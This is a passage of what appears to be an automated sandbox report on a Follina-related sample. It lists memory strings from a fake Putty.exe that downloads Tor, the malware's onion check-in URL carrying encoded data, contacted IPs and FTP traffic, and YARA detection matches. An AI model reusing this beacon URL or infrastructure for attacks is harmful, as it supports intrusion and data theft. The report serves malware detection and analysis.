Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Onion-Location: http://scpalcwstkydpa3y7dbpkjs2dtr7zvtvdbyj3dqwkucfrwyixcl5ptqd.onion/torbrowser/11.5.2/tor-win32-0.4.7.10.zip
Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: ]http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/download/tor/index.html
Source: Putty.exe, 00000011.00000002.609469659.0000000002352000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://yfoj3s7ov6e3k7pboeumnj6rcq5h4kbdm5ogfc4tsv2eq2eed3rllrad.onion/register.php?data=qYA9qoLk9CB32hRFY2%2fbTyFzCa84aEfg%2fF172ls8vrjPri0DH7%2fYVQ%2bqcnrjFbBiex7fIEX%2fozJXagV0pgHuYdv4IiIhBMDt08caCvFLvcKfhh2ZlhxOi99OnGk%2fDkChaK4GuFrEAEHF2rBIhSSfPP%2fu9P5ActUToRp60s3Kmc8%3d&id=06635686499554899557944096100171340
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: legacy_signing_keyauthority_signing_keyNo version 3 directory key found in %slegacy_certificateauthority_certificateSigning key found, but no certificate found in %sUnable to parse certificate in %sStored signing key does not match signing key in certificateYour v3 authority certificate has expired. Generate a new one NOW.Your v3 authority certificate expires in %d hours; Generate a new one NOW.Your v3 authority certificate expires in %d days; Generate a new one soon.onion-key-rotation-daysonion-key-grace-period-daysUnable to compute bridge fingerprintYou can check the status of your bridge relay at https://bridges.torproject.org/status?id=%sfingerprint-ed25519fingerprinthashed-fingerprinted25519 identityhashed Dumping %s%s to "%s"...Error computing fingerprintError computing hashed fingerprint%s %s
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: src/feature/hs/hs_config.crservice_listserviceAnother hidden service is already configured for directory %s%s must be %d, not %d.%s must be between %d and %d, not %d.valueokhaproxynone%s must be 'haproxy' or 'none'.HiddenServiceDirservice->config.version <= 3HiddenServiceAuthorizeClientHidden service option %s is incompatible with version %u of service in %sconfigHidden service (%s) with no ports configured.Hidden service DoS defenses burst (%u) can not be smaller than the rate value (%u).hs_optsHiddenServcieExportCircuitIDService INTRO2 DoS defenses rate set to: %uService INTRO2 DoS defenses burst set to: %uoptionshs_opts->HiddenServiceDir%s=%s. Configuring...Onion services version 2 are obsolete. Please see https://blog.torproject.org/v2-deprecation-timeline for more details and for instructions on how to transition to version 3. %s!err_msgHiddenServicePort=%s for %slineCan't parse configuration for onion service: %smsg == NULLBad configuration for onion service: %s%s with no preceding %s directivehs_opts_newstage_servicesservice_is_duplicate_in_listservice_is_duplicate_in_listcheck_value_oobhelper_parse_circuit_id_protocolhelper_parse_circuit_id_protocolconfig_learn_service_versionconfig_has_invalid_optionsconfig_has_invalid_optionsconfig_validate_serviceconfig_validate_serviceconfig_service_v3config_service_v3config_generic_serviceconfig_generic_serviceconfig_serviceconfig_servicehs_config_service_allhs_config_service_allocirc_stateocirc_chanocirc_ceventorconn_stateorconn_statussrc/feature/hs/hs_control.conion_pkbase64_blinded_pkhsdir_rshsdir_nodeidenthsdir_id_digestreasononion_addressblinded_pkhsdir_indexbody!(hs_parse_address(onion_address, &identity_pk, NULL, NULL) < 0)onion_identity_pkhs_control_desc_event_requestedhs_control_desc_event_failedhs_control_desc_event_receivedhs_control_desc_event_createdhs_control_desc_event_uploadhs_control_desc_event_uploadedhs_control_desc_event_contenths_control_hspost_commandhs_control_hsfetch_commanded25519
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 185.27.134.11 ports 42159,1,2,47991,16577,21
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1Host: www.torproject.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1Host: dist.torproject.orgConnection: Keep-Alive
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /download/tor/ HTTP/1.1Host: www.torproject.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflate
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 116.202.120.166 116.202.120.166
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Uses FTP
Source: unknown FTP traffic detected: 185.27.134.11:21 -> 192.168.2.5:49707 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 351 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 351 of 6900 allowed.220-Local time is now 05:37. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 351 of 6900 allowed.220-Local time is now 05:37. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 351 of 6900 allowed.220-Local time is now 05:37. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/dist/torbrowser/11.5.2/tor-win
Source: Putty.exe, 00000011.00000002.610552448.00000000023B2000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/download/tor/index.html
Source: msdt.exe, 00000003.00000002.604130120.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.603040488.00000000005A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://dist.torproject.org:443/x
Source: tor.exe, 00000024.00000002.642054543.0000000063786000.00000008.00000001.01000000.00000013.sdmp String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: Putty.exe, 00000011.00000002.611308351.00000000023E6000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://scpalcwstkydpa3y7dbpkjs2dtr7zvtvdbyj3dqwkucfrwyixcl5ptqd.onion/torbrowser/11.5.2/tor-win32-0.
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.609469659.0000000002352000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.torproject.org:443/x
Source: Putty.exe, 00000011.00000003.571453561.0000000023192000.00000004.00000020.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.612010328.00000000122C1000.00000004.00001000.00020000.00000000.sdmp, tor.exe, 00000024.00000002.621892949.000000005E858000.00000008.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.zlib.net/D
Source: Putty.exe, 00000011.00000002.609469659.0000000002352000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://yfoj3s7ov6e3k7pboeumnj6rcq5h4kbdm5ogfc4tsv2eq2eed3rllrad.onion/register.php?data=qYA9qoLk9CB3
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://2019.www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks.%s
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://2019.www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks.%sDANGEROU
Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://blog.torproject.org
Source: tor.exe, tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://blog.torproject.org/lifecycle-of-a-new-relay
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://blog.torproject.org/lifecycle-of-a-new-relayCan
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://blog.torproject.org/v2-deprecation-timeline
Source: tor.exe, tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://bridges.torproject.org/status?id=%s
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://bridges.torproject.org/status?id=%sfingerprint-ed25519fingerprinthashed-fingerprinted25519
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/14917.
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/21155.
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/8742.
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://community.torproject.org/
Source: geoip6.17.dr String found in binary or memory: https://creativecommons.org/licenses/by-sa/4.0/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-.tar.gz
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-.tar.gz.sha256sum
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-.tar.gz.sha256sum.asc
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-0.4.7.10.tar.gz
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-0.4.7.10.tar.gz.sha256sum
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/tor-0.4.7.10.tar.gz.sha256sum.asc
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.7.10.zip
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.7.10.zipyQ
Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://donate.torproject.org
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://forum.torproject.net
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://freehaven.net/anonbib/#hs-attack06
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/torproject
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gitweb.torproject.org/tor.git/plain/ChangeLog?h=tor-
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gitweb.torproject.org/tor.git/plain/ChangeLog?h=tor-0.4.7.10
Source: msdt.exe, 00000003.00000002.604130120.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://go.micr
Source: geoip6.17.dr String found in binary or memory: https://location.ipfire.org/
Source: geoip6.17.dr String found in binary or memory: https://location.ipfire.org/.
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://mastodon.social/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://newsletter.torproject.org/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://support.torproject.org/
Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://support.torproject.org/en/little-t-tor/verify-little-t-tor/
Source: tor.exe, tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://support.torproject.org/faq/staying-anonymous/
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://support.torproject.org/faq/staying-anonymous/alphabetaThis
Source: Putty.exe, 00000011.00000002.611308351.00000000023E6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://support.torproject.org/faq/staying-anonymous/p
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://t.me/torproject
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://torproject.org
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://torproject.org/en/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/torproject
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.instagram.com/torproject
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.linkedin.com/company/tor-project
Source: tor.exe, 00000024.00000002.624657684.000000005E8F2000.00000008.00000001.01000000.00000015.sdmp, tor.exe, 00000024.00000002.639426656.0000000063705000.00000008.00000001.01000000.00000014.sdmp, libcrypto-1_1.dll.17.dr String found in binary or memory: https://www.openssl.org/H
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.torproject.org/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/about/history/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/about/jobs/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/about/trademark/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/contact/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://www.torproject.org/documentation.html
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/press/
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/privchat
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/static/images/favicon/favicon.ico
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/static/images/favicon/favicon.png
Source: Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.torproject.org/static/images/tor-project-logo-onions.png
Source: unknown DNS traffic detected: queries for: ftpupload.net
Source: global traffic HTTP traffic detected: GET /download/tor/ HTTP/1.1Host: www.torproject.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflate
Source: global traffic HTTP traffic detected: GET /dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1Host: www.torproject.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /torbrowser/11.5.2/tor-win32-0.4.7.10.zip HTTP/1.1Host: dist.torproject.orgConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 217.12.221.131
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 185.129.61.3
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.168.27
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: <h4><a class="linkedin text-white px-3" target="_blank" href="https://www.linkedin.com/company/tor-project"><i class="fab fa-linkedin-png"></i></a></h4> equals www.linkedin.com (Linkedin)
Source: Putty.exe, 00000011.00000002.610934075.00000000023CF000.00000004.00001000.00020000.00000000.sdmp, Putty.exe, 00000011.00000002.610640724.00000000023B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: <h4><a class="text-white px-3" target="_blank" href="https://www.facebook.com/TorProject/"><i class="fab fa-facebook-png"></i></a></h4> equals www.facebook.com (Facebook)
Source: tor.exe, 00000024.00000002.616445798.0000000000FAD000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
Source: tor.exe, 00000024.00000002.619004837.00000000016F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: tor.exe, 00000024.00000002.619004837.00000000016F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.yahoo.comV: equals www.yahoo.com (Yahoo)
Source: unknown HTTPS traffic detected: 116.202.120.166:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 38.229.82.25:443 -> 192.168.2.5:49730 version: TLS 1.2
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E833E50 36_2_5E833E50
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E8397F0 36_2_5E8397F0
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E844730 36_2_5E844730
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E83BC98 36_2_5E83BC98
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E832460 36_2_5E832460
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E831DF0 36_2_5E831DF0
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E83C2BB 36_2_5E83C2BB
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E832390 36_2_5E832390
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E83EBD0 36_2_5E83EBD0
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E83C82C 36_2_5E83C82C
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E832033 36_2_5E832033
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E8459F0 36_2_5E8459F0
PE file contains strange resources
Source: DiagPackage.dll.3.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.3.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.3.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
PE file contains more sections than normal
Source: libevent_core-2-1-7.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libevent-2-1-7.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libssp-0.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libwinpthread-1.dll.17.dr Static PE information: Number of sections : 18 > 10
Source: libssl-1_1.dll.17.dr Static PE information: Number of sections : 19 > 10
Source: zlib1.dll.17.dr Static PE information: Number of sections : 11 > 10
Source: libcrypto-1_1.dll.17.dr Static PE information: Number of sections : 19 > 10
Yara signature match
Source: document.xml.rels, type: SAMPLE Matched rule: SUSP_Doc_WordXMLRels_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, Wojciech Cieslak, description = Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-06-20, hash = 62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0
Source: 00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000003.00000002.609276598.00000000046A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
